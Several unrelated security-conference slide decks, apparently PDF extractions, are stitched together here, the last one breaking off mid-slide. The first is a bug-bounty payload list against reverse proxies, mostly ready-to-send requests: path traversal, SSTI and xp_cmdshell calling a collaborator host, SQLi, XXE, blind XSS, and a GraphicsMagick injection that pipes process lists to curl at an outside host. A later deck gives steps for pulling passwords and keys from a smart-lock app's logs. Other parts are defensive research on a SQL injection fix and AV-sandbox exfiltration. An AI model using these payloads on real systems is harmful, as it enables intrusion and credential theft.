www.company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Slides If There Is Nginx As Reverse Proxy AND Tomcat As Backend Try To Use ..;/ OR ..;/..;/ To Bypass Blacklist Of Endpoints OR Bypass Save Iframes e.g. <iframe src="https://www.company.com/Endpoint-To-Proxy/..;/Endpoint-To-Iframe"> GET /Endpoint-To-Proxy/..;/../../../../../../etc/passwd HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Slides ● Video If There Is Nginx As Reverse Proxy Try To Use %2F%2F%2F To Bypass Blacklist Of Endpoints OR Bypass CORS e.g. fetch("https://www.company.com/Endpoint-To-Proxy/Endpoint-To-CORS%2f%2f"> GET /Endpoint-To-Proxy/../../../../etc/passwd%2f%2f%2f HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Slides If There Is Nginx As Reverse Proxy Try To Use ;/../ To Bypass Blacklist Of Endpoints OR Bypass CORS e.g. fetch("https://www.company.com/Endpoint-To-Proxy;/../Endpoint-To-CORS"> GET /Endpoint-To-Proxy;/../../../../etc/passwd HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Slides If There Is Nginx As Reverse Proxy Try To Use ..;/ To Bypass Blacklist Of Endpoints OR Bypass CORS e.g. fetch("https://www.company.com/Endpoint-To-CORS/..;/Endpoint-To-Proxy"> GET /../../../../etc/passwd/..;/Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Slides If There Is Varnish As Reverse Proxy Try To Change e.g. GET To Get To Bypass Blacklist Of Endpoints GeT /Endpoint-To-Proxy/../../../../../../etc/passwd HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Slides If There Is Haproxy OR Varnish As Reverse Proxy Try To Use The Absolute-URI e.g. GET http://comapany.com/Endpoints-To-Proxy/.git To Bypass Blacklist Of Endpoints GET http://company.com/Endpoints-To-Proxy/.git HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Slides Try To Change Method To POST And Add Body e.g. <?php phpinfo(); ?> To Get RCE POST /Endpoint-To-Proxy HTTP/1.1 Host: company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Content-Type":"application/x-www-form-urlencoded Origin: https://www.company.com Connection: keep-alive <?php phpinfo(); ?> attacker My Methodology ● Tweet Try To Inject SSTI Payloads e.g. {{7*7}} , ${7*7} , [[${7*7}]] , (${T(java.lang.Runtime) .getRuntime().exec(nslookup id.burpcollaborator.net)}) To Get RCE GET /Endpoint-To-Proxy/(${T(java.lang.Runtime). getRuntime().exec('nslookup id.burpcollaborator.net')}) HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Blog ● Blog Try To Inject Time-Based SQLi Payloads e.g. 'xor(if(now()=sysdate(),sleep(30),0))or OR 'xor(if(mid(database(),1,1)=0x41,sleep(30),0))or To Get SQLi GET /Endpoint-To-Proxy/ 'xor(if(mid(database(),1,1)=0x41,sleep(30),0))or HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Writeup If There Are Parameters In Your Endpoints , Assume Backend Endpoint Take Value Of One Parameter As Path So Inject e.g. LFI OR CRLF Payloads To Get e.g. SSRF POST /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Origin: https://www.company.com Content-Type: application/json Content-Length: Number { "parameter":"value%0A%01%09Host:%20id.burpcollaborator.net" } attacker My Methodology ● Tweet Assume Backend Endpoint Take Value Of One Parameter As Path So Inject Encode , Double OR Triple URL Encoding ;@me.com , @me.com OR :@me.com To Get SSRF POST /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Origin: https://www.company.com Content-Type: application/json Content-Length: Number { "parameter":";@RandomString(10).id.burpcollaborator.net" } attacker My Methodology ● Tweet Assume Backend Endpoint Take Value Of One Parameter As Rewrite Configuration e.g. rewrite ^.*$ $arg_parameter; So Inject e.g. LFI Payloads To Get e.g. LFI POST /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Origin: https://www.company.com Content-Type: application/json Content-Length: Number { "parameter":"../../../../../../../../../../../../etc/passwd" } attacker My Methodology ● Writeup Assume Backend Endpoint Take Value Of One Parameter As Command Line Input So Inject Command Line Payloads e.g. ${nslookup me.com} To Get RCE POST /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Origin: https://www.company.com Content-Type: application/json Content-Length: Number {"parameter":"${nslookup id.burpcollaborator.net}"} attacker My Methodology ● Writeup Assume Backend Endpoint Take Value Of One Parameter As Command Line Input So Inject Command Line Payloads e.g. &nslookup me.com&'\"`0&nslookup me.net&`' To Get RCE POST /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Origin: https://www.company.com Content-Type: application/json Content-Length: Number { "parameter":"&nslookup me.com&'\"`0&nslookup me.com&`'" } attacker My Methodology ● Video ● Blog ● Tweet Assume Backend Endpoint Take Value Of One Parameter As GraphicsMagick's Input So Inject 0 -write |ps${IFS}aux|curl${IFS}http://me.com${IFS}-d${IFS}@- To Get RCE POST /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Origin: https://www.company.com Content-Type: application/json Content-Length: Number { "parameter":"0 -write |ps${IFS}aux|curl${IFS}http://me.com${IFS}-d${IFS}@-" } attacker My Methodology ● Writeup Assume Backend Endpoint Take Value Of One Parameter As SQL Input So Inject ; DECLARE @command varchar(255); SELECT @command='ping id.burpcollaborator.net'; EXEC Master.dbo.xp_cmdshell @command; SELECT 1 as 'STEP' To Get SQLi POST /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Origin: https://www.company.com Content-Type: application/json Content-Length: Number {"parameter":"; DECLARE @command varchar(255); SELECT @command='ping id.burpcollaborator.net'; EXEC Master.dbo.xp_cmdshell @command; SELECT 1 as 'STEP'"} attacker My Methodology ● Writeup Hack3rScr0lls #BugBounty #BugBountyTip ● Tweet If Body Of Request JSON Data , Try To Convert It XML With XXE Payloads POST /Endpoint-To-Proxy/ HTTP/1.1 Host: www.company.com Content-Type: application/xml Content-Length: Number <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <parameter>&xxe;</parameter> </root> attacker My Methodology ● Slides ● Blog ● Blog attacker Send This XXE Payload POST /Endpoint-To-Proxy/ HTTP/1.1 Host: www.company.com Content-Type: application/xml Content-Length: Number <?xml version="1.0" encoding="utf-8"?> <?xml-stylesheet type="text/xml "href="http://RandomString(10).id.burpcollaborator.net/file.xsl"?> <!DOCTYPE root PUBLIC "-//A/B/EN" http://RandomString(10).id.burpcollaborator.net/file.dtd [ <!ENTITY % remote SYSTEM "http://RandomString(10).id.burpcollaborator.net/path"> <!ENTITY xxe SYSTEM "http://RandomString(10).id.burpcollaborator.net/path"> %remote; ]> <root> <foo>&xxe;</foo> <x xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:includehref="http://RandomString(10).id.burpcollaborator.net/" ></x> <y xmlns=http://a.b/ xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://a.b/ http:///RandomString(10).id.burpcollaborator.net/file.xsd">a</y> </root> ● Video Assume Backend Endpoint Take Value Of One Parameter As JS Code So Inject Blind XSS POST /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com Content-Type: application/json Content-Length: Number { "parameter":"</script><svg/onload='+/"/+/onmouseover=1/+(s=do cument.createElement(/script/.source),s.stack=Error().stack,s.src =(/,/+/RandomString(10).id.burpcollaborator.net/).slice(2),docume nt.documentElement.appendChild(s))//'>" } attacker My Methodology ● Video Hack3rScr0lls #BugBounty #BugBountyTip ● Tweet attacker My Methodology - If There Is PHP Endpoint Leads To php-fpm , Try To Figure Out It Is Vulnerable To CVE-2019-11043 By Using Tools e.g. phuip-fpizdam Steps to produce :- 1 - Open Your Terminal 2 - Write This Command root@mine:~#./phuip-fpizdam --cookie Value http://URL/endpont-to.proxy.php ● Slides ● Resource attacker If There Is Route To Wordpress Internally , Try To Inject This Steps to produce :- 1 - Open Your Terminal 2 - Write This Command curl 'https://www.company.com/xmlrpc.php' --data-binary "`cat file.xml`" -H 'Content-type: application/xml' root@mine:~#cat file.xml <?xml version="1.0"?> <methodCall> <methodName>wp.getOptions</methodName> <params> <param><value>zzz</value></param> <param><value>[email protected]</value></param> <param><value>@@@nopass@@@</value></param> </params> </methodCall> ● Writeup Thank You Mahmoud M. Awali @0xAwali
pdf
When  Space Elephants  A/ack DEFCON  19 Presented  by  Abstrct Who  Am  I? – Expert  in  designing  videogame  UI – Specialized  in  Human-­‐Computer  InteracJon – Graphic  Designer – Technical  Writer Who  am  I  really? Database  and  InformaJon  Security  Geek What  is  The  Schemaverse? •  Space  game  built  enJrely  in  PostgreSQL •  No  UI  other  than  the  output  of  SQL  queries •  Database  is  completely  open  to  the  Internet •  Security  implemented  within  the  database itself •  Unexpectedly  addicJve,  fun  and  challenging Why? •  Be  Educated  and  Educate  on  Database  Design and  Security •  Push  Database  Systems •  It’s  also  pre/y  funny Architecture SECURITY Securing  PostgreSQL..  Insecurely •  Query  Limits •  AuthenJcaJon •  SQL  InjecJons •  some  database  communiJes  were  less  than helpful SQL  InjecJon  Example -- Fleet Script Creation EXECUTE ’ CREATE OR REPLACE FUNCTION FLEET_SCRIPT_'|| NEW.id ||'() RETURNS boolean as $fleet_script$ DECLARE this_fleet_id integer; ' || NEW.script_declarations || ’ BEGIN this_fleet_id := '|| NEW.id||'; ' || NEW.script || ’ RETURN 1; END $fleet_script$ LANGUAGE plpgsql;'::TEXT; SQL  InjecJon  Example -- Fleet Script Creation EXECUTE ’ CREATE OR REPLACE FUNCTION FLEET_SCRIPT_'|| NEW.id ||'() RETURNS boolean as $fleet_script$ DECLARE this_fleet_id integer; ' || NEW.script_declarations || ’ BEGIN this_fleet_id := '|| NEW.id||'; ' || ‘ UPDATE player SET balance=0; RETURN 1; END $fleet_script$ LANGUAGE plpgsql SECURITY DEFINER; CREATE OR REPLACE FUNCTION MOVE() RETURNS boolean as $fleet_script$ BEGIN --add the move code but altered slightly to send players backwards ‘ || ’ RETURN 1; END $fleet_script$ LANGUAGE plpgsql;'::TEXT; SQL  InjecJon  Fix -- Fleet Script Creation secret := 'fleet_script_' || (RANDOM()*1000000)::integer; EXECUTE ’ CREATE OR REPLACE FUNCTION FLEET_SCRIPT_'|| NEW.id ||'() RETURNS boolean as $'||secret||'$ DECLARE this_fleet_id integer; ' || NEW.script_declarations || ’ BEGIN this_fleet_id := '|| NEW.id||'; ' || NEW.script || ’ RETURN 1; END $'||secret||'$ LANGUAGE plpgsql;'::TEXT; SchemaSecurity •  Roles •  Triggers •  Rules •  Views •  FuncJons UNDERSTANDING  THE  GAME GeYng  Started •  Using  a  client  to  connect – pgAdmin  Demo Sequence  of  a  Tic •  Every  Ship  Moves •  All  Enabled  Fleets  Execute •  The  Perform  Mining  FuncJon  Runs •  Some  planets  randomly  have  their  fuel increased •  Damage/Repair  is  commi/ed  to  the  ship  table •  Ships  damaged  for  a  set  Jme  are  destroyed •  Jc_seq.nextval Understanding  the  RelaJonships •  Ships •  Planets •  Events •  Player •  Fleets CreaJng  Ships •  INSERT  INTO  my_ships(name)  VALUES('Shipington'); •  INSERT  INTO  my_ships(name,  a/ack,  defense,  engineering, prospecJng)  VALUES('My  First  A/acker',15,5,0,0); –  Total  skill  on  insert  must  not  be  greater  than  20 •  INSERT  INTO  my_ships(name,  locaAon_x,  locaAon_y)  VALUES(“My Strategically  Placed  Ship”,  100,  100); –  You  can  only  create  a  ship  where  one  of  the  following  is  true: •  locaJon_x  and  locaJon_y  is  between  -­‐3000  and  3000 •  locaJon_x  and  locaJon_y  are  the  same  coordinates  as  a  planet  you  are  the current  conqueror  of FuncJons  -­‐  AcJons •  A/ack(A/ackerShip,  EnemyShip) SELECT  ALack(ship_in_range_of,  id),  name  FROM  ships_in_range; Uses  my_ships.aLack  and  your  enemy  ships  defense •  Repair(RepairShip,  DamagedShip) SELECT  Repair(10,  id)  FROM  my_ships  ORDER  BY  current_health  ASC; Uses  my_ships.engineering  to  determine  repair  amount •  Mine(MinerShip,  Planet) SELECT  mine(my_ships.id,  planets.id)  FROM  my_ships,  planets  WHERE  my_ships.locaAon_x=planets.locaAon_x  AND  my_ships.locaAon_y=planets.locaAon_y; Uses  luck  and  my_ships.prospecAng  when  mining  is  performed FuncJons  -­‐  MOVE •  Move(Ship  ID,  Speed,  DirecAon,  DesAnaAon  X,  DesAnaAon  Y) SELECT MOVE(id,100, NULL, destination_x, destination_y), id, name, location_x, location_y FROM my_ships; UPDATE  my_ships  SET  direcAon=90,  speed=10 WHERE  name='Shipington' FuncJons  -­‐  Others •  UPGRADE(Ship  ID,  Code,  QuanJty) •  REFUEL_SHIP(Ship  ID) •  CONVERT_RESOURCE(Resource,  QuanJty) •  READ_EVENT(Event  ID) •  GET_CHAR_VARIABLE(Variable  Name) •  GET_NUMERIC_VARIABLE(Variable  Name) •  And  some  more How  to  Win •  Conquered  Planets •  Most  Ships •  Best  Ships •  Most  amount  of  destrucJon FLEET  SCRIPTS Fleets •  Why •  What •  How •  Demo  of  creaJng  a  script •  Error  handling •  First  ever  Schemaverse  Tournament  at  DEFCON! •  Starts:  Thursday  ahernoon(?) •  Ends:  Sunday  at  Noon •  RegistraJon  is  in  the  Contest  Area •  Prizes  Include… •  The  Schemaverse  DEFCON  Tournament –  h/p://defcon.schemaverse.com •  Project  Home:  h/p://Schemaverse.com •  Github:  h/p://github.com/Absrtct/Schemaverse •  Wiki:  h/p://github.com/Absrtct/Schemaverse/Wiki Thank  You DEFCON  19  Organizers! Tigereye appl rick
pdf
The August application logs a significant amount of sensitive data. With social engineering, or  temporary access to the unlocked phone of an August user these logs can be extracted. The  following procedure can be use to extract log data without the use of any special tools.  Step 1: Open settings  Step 2: Press and hold the application version number.  Step 3: Enter "augustsupport" in the prompt. The prompt is case sensitive. ("DreadfulDow" can  be used as well, but it permanently alters the app's settings.)   Step 4: Tap send logs to August.  Step 5: Change the destination to an email address you control.  These logs which are ostensibly useful August support may include usernames, passwords,  authentication tokens, offline keys, and firmware keys as shown in the following screenshot:  Of note, the information extracted from log files by the above program is sufficient to not only  interact with the lock, but also to bypass August's two step authentication system.
pdf
A SafeBreach Labs research by Itzik Kotler, CTO and co-founder, SafeBreach Amit Klein, VP Security Research, SafeBreach The Adventures of AV and the Leaky Sandbox About Itzik Kotler • 15+ years in InfoSec • CTO & Co-Founder of Safebreach • Presented in RSA, HITB, BlackHat, DEFCON, CCC, … • http://www.ikotler.org About Amit Klein • 26 years in InfoSec • VP Security Research Safebreach (2015-Present) • 30+ Papers, dozens of advisories against high profile products • Presented in BlackHat, HITB, RSA, CertConf, Bluehat, OWASP, AusCERT and more • http://www.securitygalore.com The story of the highly-secure enterprise • Variant #1: endpoints have restricted Internet access • Software update servers (Microsoft Update) • AV update/services • Variant #2: endpoints have no direct Internet access • On-premise update servers • On-premise AV management servers Now let’s throw in Cloud AV • Everybody loves the “wisdom of clouds” • What can possibly go wrong? WHAT IF I TOLD YOU ADDING CLOUD AV CAN DEGRADE THE SECURITY OF THE ENDPOINT Let’s degrade the security of the endpoint • Assuming highly secure enterprise (=restricted/no direct Internet connection) • We’re going to use the cloud AV to exfiltrate data from the endpoint • Attacker can be anywhere in the Internet • We’ll (ab)use the cloud AV sandbox BUT FIRST – RELATED WORK Exfiltration at Large Lots and lots of research on exfiltration techniques, e.g.: • “Covert Channels in TCP\IP Protocol Stack” by Aleksandra Mileva and Boris Panajotov • “A survey of covert channels and countermeasures in computer network protocols” by Sebastian Zander, Grenville Armitage and Philip Branch • “Covert timing channels using HTTP Catch Headers” by Dennis Kolegov, Oleg Broslavsky and Nikita Oleksov However, all practically assume unrestricted Internet connection Exfiltration from air-gapped endpoints Recent research on a more difficult scenario, e.g.: • “LED-it-GO Leaking (a lot of) Data from Air-Gapped Computers via the (small) Hard Drive LED” by Mordechai Guri, Boris Zadov, Eran Atias and Yuval Elovici • “Diskfiltration: Data Exfiltration from Speakerless Air-Gapped Computers via Covert Hard Drive Noise” by Mordechai Guri, Yosef Solewicz, Andrey Daidakulov and Yuval Elovici • “BitWhisper: Covert Signaling Channel between Air-Gapped Computers using Thermal Manipulations” by Mordechai Guri, Matan Monitz, Yisroel Mirski and Yuval Elovici All require an attacker in close proximity (not on the other side of the Internet) Exfiltration via 3rd party sites • “Covert Communications Despite Traffic Data Retention” by George Danezis – N/A since IP ID is no longer implemented as a global counter • Piggybacking TCP SYN ISN/source port (with spoofed source IP) – egress filtering will kill it • Piggybacking UDP source port/payload (with spoofed source IP) e.g. DNS – egress filtering will kill it • “In Plain Sight: The Perfect Exfiltration” by Amit Klein and Itzik Kotler – AV services/SW update don’t have regular HTTP cache layer Research on AV Sandboxes Lots of AV sandbox fingerprinting/detection works: • “AVLeak: Fingerprinting Antivirus Emulators Through Black-Box Testing” by Jeremy Blackthorne, Alexei Bulazel, Andrew Fasano, Patrick Biernat and Bülent Yener • “Your sandbox is blinded: Impact of decoy injection to public malware analysis systems” by Katsunari Yoshioka, Yoshihiko Hosobuchi, Tatsunori Orii and Tsutomu Matsumoto • “Enter Sandbox – part 8: All those… host names… will be lost, in time, like tears… in… rain” by Hexacorn Ltd. Research on AV Sandboxes (continued) • “Sandbox detection: leak, abuse, test” by Zoltan Balazs • “Art of Anti Detection 1 – Introduction to AV & Detection Techniques” by Ege Balci They all leak info from the sandbox, but they don’t leak info from the endpoint! Research on AV Sandboxes (continued) Leaking data from an endpoint (≠ cloud) sandbox, assuming direct (unrestricted) Internet access from the endpoint • Google’s Project Zero entry “Comodo: Comodo Antivirus Forwards Emulated API calls to the Real API during scans” by Tavis Ormandy EXFILTRATION VIA A CLOUD AV SANDBOX Let’s do it already BUT FIRST – TWO BASIC TECHNIQUES #1: Triggering an AV event Numerous ways, a comprehensive list in “Art of Anti Detection 1 – Introduction to AV & Detection Techniques” by Ege Balci. We’ll use only two very simple triggers: • Writing the EICAR file to disk • Installing the “malware” (persistence) by moving its binary under the Windows Startup folder #2: Exfiltration from an Internet-connected machine Numerous ways (see earlier “Exfiltration at large” slide) We’re going to use: • Sending HTTP/HTTPS request to the attacker’s host • Forcing DNS resolution EXFILTRATION VIA A CLOUD AV SANDBOX Are we there yet? Assumptions on the AV and the attacker’s malware • An AV product (agent) installed on endpoints, which submits to the AV cloud unknown/suspicious executable files: • Directly • Indirectly • The AV cloud service employs a sandbox which can directly connect to the Internet. • The attacker’s process (malware) is running on the endpoint. ATTACK FLOW Attack Components Rocket The Rocket is the main attacker malware, responsible for sensitive data collection (which becomes the payload for exfiltration). The Rocket contains a "vanilla" copy of another malware executable, called Satellite. Satellite The Satellite is the secondary malware executable, which triggers the AV agent and later conducts the actual exfiltration. 0. The Attacker infects the endpoint with the Rocket 1. The Rocket collects sensitive data from the endpoint and embeds it into the Satellite 2. The Rocket writes the Satellite to disk and executes it 3. The Satellite triggers the AV agent 4. The AV agent sends the Satellite to the AV cloud service for further inspection 5. The AV cloud service executes the Satellite in a sandbox 6. The Satellite sends the collected data over the internet to the attacker OPSWAT’S “most recent” AV market share 21.4% 19.4% 8.6% 7.4% 7.1% 6.2% 4.2% 3.5% 3% 2% 2% 16% Avast - 21.4% Microsoft - 19.4% AVG - 8.6% Avira - 7.4% Symantec - 7.1% McAfee - 6.2% ESET - 4.2% Kaspersky Lab - 3.5% Comodo - 2.6% Spybot - 2.1% BitDefender 1.8% Other - 15.8% Results with leading AV Products Product Version Trigger Exfil. method Success Avast Free Antivirus 12.3.2280 - Microsoft Windows Defender Client v. 4.10.14393.0 Engine v. 1.1.13407.0 - AVG Build 1.151.2.59606 Framework v. 1.162.2.59876 - Avira Antivirus Pro 15.0.25.172 Persistence DNS, HTTP Yes Symantec Norton Security 22.8.1.14 - McAfee Cloud AV 0.5.235.1 - ESET NOD32 Antivirus 10.0.390.0 EICAR DNS Yes Kaspesrky Total Security 2017 17.0.0.611(c) Persistence DNS, HTTP Yes Comodo Client Security 8.3.0.5216 Persistence DNS, HTTP Yes BitDefender Total Security 2017 Build 21.0.23.1101 Engine v. 7.69800 - It’s not too subtle (but who cares?) Insights on cloud AV sandboxes • Some sandboxes (ESET) blocked HTTP (but not DNS) • Some sandboxes blocked access to the environment variables • Some have non-standard software and environment variables • Cloud AV sandboxes are easily detectable • Computer name • Disk volume serial number • MAC address • Performance counter frequency Insights on cloud AV sandboxes (continued) • Some sandbox infrastructure is shared among several vendors • Lead time varies wildly – minutes to hours • Multiple executions • Binary extraction and execution of the Satellite (from the Rocket) Cloud AV sandbox sample names • ESET: REYNAPC, MALVAPC, ELEANOREPC, WRIGHTPC, BRIAPC, JORIPC, GABBIPC, HELSAPC, MAMEPC, SHARAIPC, ARACHONPC, FLORIANPC, EDITHPC • Various: WIN7-PC, ROGER-PC, DAVID-PC, ADMIN-PC, APIARY7-PC, ANTONY-PC, LUSER-PC, PERRY-PC, KLONE_X64-PC, 0M9P60J5W-PC, MIKI-PC • Avira: C02TT22, C02TT26, C02TT36, C02TT18, C06TT43 • Comodo: spurtive, circumstellar • Others: ZGXTIQTG8837952 (Comodo), ABC-WIN7, PC, WIN-U9ELNVPPAD0, PC-4A095E27CB, WIN-LRG949QLD21 (in blue – names found in the 2015 Hexacorn list – 7/37) ZGXTIQTG8837952 (Comodo) ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Users\Administrator\AppData\Roaming CommonProgramFiles=C:\Program Files\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=FS02 ComSpec=C:\Windows\system32\cmd.exe FP_NO_HOST_CHECK=NO HOMEDRIVE=C: HOMEPATH=\Users\Administrator LOCALAPPDATA=C:\Users\Administrator\AppData\Local LOGONSERVER=\\FS02 NUMBER_OF_PROCESSORS=1 OS=Windows_NT Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Wi ndows\System32\WindowsPowerShell\v1.0\ PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 60 Stepping 3, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=3c03 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PROMPT=$P$G PSModulePath=C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ PUBLIC=C:\Users\Public SESSIONNAME=Console SystemDrive=C: SystemRoot=C:\Windows TEMP=C:\Users\ADMINI~1\AppData\Local\Temp tHH=12 tMM=32 TMP=C:\Users\ADMINI~1\AppData\Local\Temp tmpH=12 tmpM=29 tmpS=16 tnext=45158 tnow=44956 tSS=38 USERDOMAIN=FS02 USERNAME=BLtJc5wjxpj53 USERPROFILE=C:\Users\BLtJc5 windir=C:\Windows windows_tracing_flags=3 windows_tracing_logfile=C:\BVTBin\Tests\installpackage\csilogfile. log] A less obvious fingerprint • Obvious fingerprints: MAC address, disk volume number, domain • Environment variable names can be easily detected • Values have easily detectable relations • tmpH=12 tmpM=29 tmpS=16 → 12:29:16 = Now (UTC-0700) • tnow=44956 = Now (UTC-0700) in seconds since midnight • tHH=12 tMM=32 tSS=38 → 12:32:38 = Now+202s (UTC-0700) • tnext=45158 = Now+202s (UTC-0700) in seconds since midnight On-Premise AV Sandboxes • A more secure alternative to cloud AV sandboxes • Same attack technique may apply, depending on: • Outbound traffic sandbox network policy • Outbound traffic enterprise network policy • We did not test this, but we speculate that vulnerable combinations do occur at a non-negligible portion of the installations Sample sharing considered harmful Any sample sharing outside the enterprise (or even inside) can facilitate exfiltration: • Security mailing lists • File/sample repositories • Expert analysis services Online/cloud sandbox/scanning services • When used as a 3rd party detection/classification engine • When used manually! Exfiltration demonstrated possible with: • Google VirusTotal ( www.virustotal.com ) • Joe Security Joe Sandbox Cloud (www.file-analyzer.net) – only DNS, limited to 10 queries • Payload Security Hybrid Analysis (www.reverse.it) Demo time Latest code and slides can always be found at: https://github.com/SafeBreach-Labs/spacebin Vendor status – cloud AV • Avira – fixed on May 2nd (10h30m!) • ESET – fixed on May 15th or before • Comodo – fixed on May 26th • Kaspersky - provided to us on July 14th with the following statement: "If customers are concerned about this scenario, they may configure their device and security settings accordingly. Those using our consumer products can disable files sent to the cloud sandbox without affecting detection effectiveness. Those using corporate products can install Kaspersky Private Security Network, the on- premises version of the Kaspersky Security Network cloud service, or a private fix to disable files sent to the cloud sandbox.” Vendor status – cloud sandboxes • VirusTotal – informed us on June 16th that they WONTFIX, and provided the following statement: “We have our sandboxes on the internet on purpose to allow them communicate with C2 machines so we record the traffic” • Joe Security – fixed on June 19th (3d11h!) “Improved ISIM max UDP request config (@credits to Amit & Itzik from Safebreach)” • Payload Security - informed us on June 23rd that "Payload Security chooses not to comment". Suggested improvements for cloud AVs • Block all traffic to the Internet from the sandbox • Only allow a sample to Interact with the Internet if the sample arrives from the Internet • Must be byte-wise identical to the copy arriving from the Internet • Not enough for the copy to arrive from “elsewhere” • Not applicable to standalone cloud scanners/analyzers (e.g. VirusTotal) Future research directions • Additional triggers • Additional exfiltration methods (e.g. SMTP, IRC, ICMP) • Encrypting/compressing the Satellite template (inside the Rocket) • Simulating AV agent-cloud protocol for stealthier exfiltration Conclusions / take-aways • AVs using Internet-connected sandboxes can facilitate exfiltration even from highly secure enterprises • In-the-cloud sandbox • On-premise sandbox • Sharing suspicious/malicious files can facilitate exfiltration, unless the file has arrived from outside the enterprise and is unmodified. • Online/cloud scanning/analysis services (VirusTotal, etc.) • Any sample sharing at large • Avira, ESET and Comodo fixed their sandboxes, so are probably safe. Kaspersky is vulnerable unless its users switch off the cloud sample submission feature. Other vendors' status is unclear. Acknowledgement Thanks to Yoni Fridburg – for his help in setting up the AV research lab Thank You! Questions?
pdf
Reverse Engineering by Crayon: Reverse Engineering by Crayon: Game Changing Hypervisor and Game Changing Hypervisor and Game Changing Hypervisor and Game Changing Hypervisor and Visualization Analysis Visualization Analysis Fine-grained covert debugging using hypervisors and analysis via visualization Daniel A. Quist Lorie M. Liebrock Offensive Computing, LLC New Mexico Tech Defcon 17 Las Vegas, NV Introduction Introduction Introduction Introduction Reverse Engineering is Hard! g g Hypervisor based executable monitoring monitoring Modifications for improved performance Visualization tool for rapid analysis Visualization tool for rapid analysis Modifying the reverse engineering process Difficulties of RE Difficulties of RE Difficulties of RE Difficulties of RE Time consuming process g p Difficult set of skills to acquire Tools are advanced but still don’t Tools are advanced, but still don t provide adequate views. Focused on static analysis Focused on static analysis Software armoring makes process diffi lt even more difficult Process for Reverse Engineering Process for Reverse Engineering Process for Reverse Engineering Process for Reverse Engineering Setup an isolated run-time p environment Execution and initial analysis Execution and initial analysis Deobfuscate compressed or packed code code Disassembly / Code-level Analysis Id tif d l l t d Identify and analyze relevant and interesting portions of the program Isolated Analysis Environment Isolated Analysis Environment Isolated Analysis Environment Isolated Analysis Environment Setup an Isolated Runtime p Environment ◦ Virtual machines: VMWare, Xen, KVM, … f f ◦ Need to protect yourself from malicious code ◦ Create a known-good baseline environment Create a known good baseline environment ◦ Quickly allows backtracking if something bad happens Execution and Initial Analysis Execution and Initial Analysis Execution and Initial Analysis Execution and Initial Analysis Goal: Quickly figure out what the program is doing without looking at assembly Look for: Ch t th fil t ◦ Changes to the file system ◦ Changes to the behavior of the system Network traffic Network traffic Overall performance Ads or changed browser settings g g Remove Software Armoring Remove Software Armoring Remove Software Armoring Remove Software Armoring Program protections to prevent g p p reverse engineering Done via packers – Small Done via packers Small encoder/decoder Self-modifying code Self modifying code Lots of research about this OllyBonE Saffron Polyunpack Renovo ◦ OllyBonE, Saffron, Polyunpack, Renovo, Ether, Azure ◦ My research uses Ether ◦ My research uses Ether Packing and Encryption Packing and Encryption Packing and Encryption Packing and Encryption Self-modifying code ◦ Small decoder stub ◦ Decompress the main executable ◦ Restore imports Play “tricks” with the executable ◦ OS Loader is inherently lazy (efficient) ◦ Hide the imports Ob l ti ◦ Obscure relocations ◦ Use bogus values for various unimportant fields fields Software Armoring Software Armoring Software Armoring Software Armoring ◦ Compressed, obfuscated, hidden code ◦ Virtual machine detection ◦ Debugger detection ◦ Shifting decode frames Normal PE File Normal PE File Normal PE File Normal PE File Packed PE File Packed PE File Packed PE File Packed PE File Troublesome Protections Troublesome Protections Troublesome Protections Troublesome Protections Virtual Machine Detection ◦ Redpill, ocvmdetect, Paul Ferrie’s paper Debugger Detection Debugger Detection ◦ IsDebuggerPresent() ◦ EFLAGS bitmask EFLAGS bitmask Timing Attacks ◦ Analyze value of RDTSC before and after ◦ Analyze value of RDTSC before and after ◦ Really effective Thwarting Protections Thwarting Protections Thwarting Protections Thwarting Protections Two methods for circumvention 1. Know about all the protections before p hand and disable them 2. Make yourself invisible Virtual Machine Monitoring Virtual Machine Monitoring Virtual Machine Monitoring Virtual Machine Monitoring Soft VM Based systems ◦ Renovo ◦ Polyunpack ◦ Zynamics 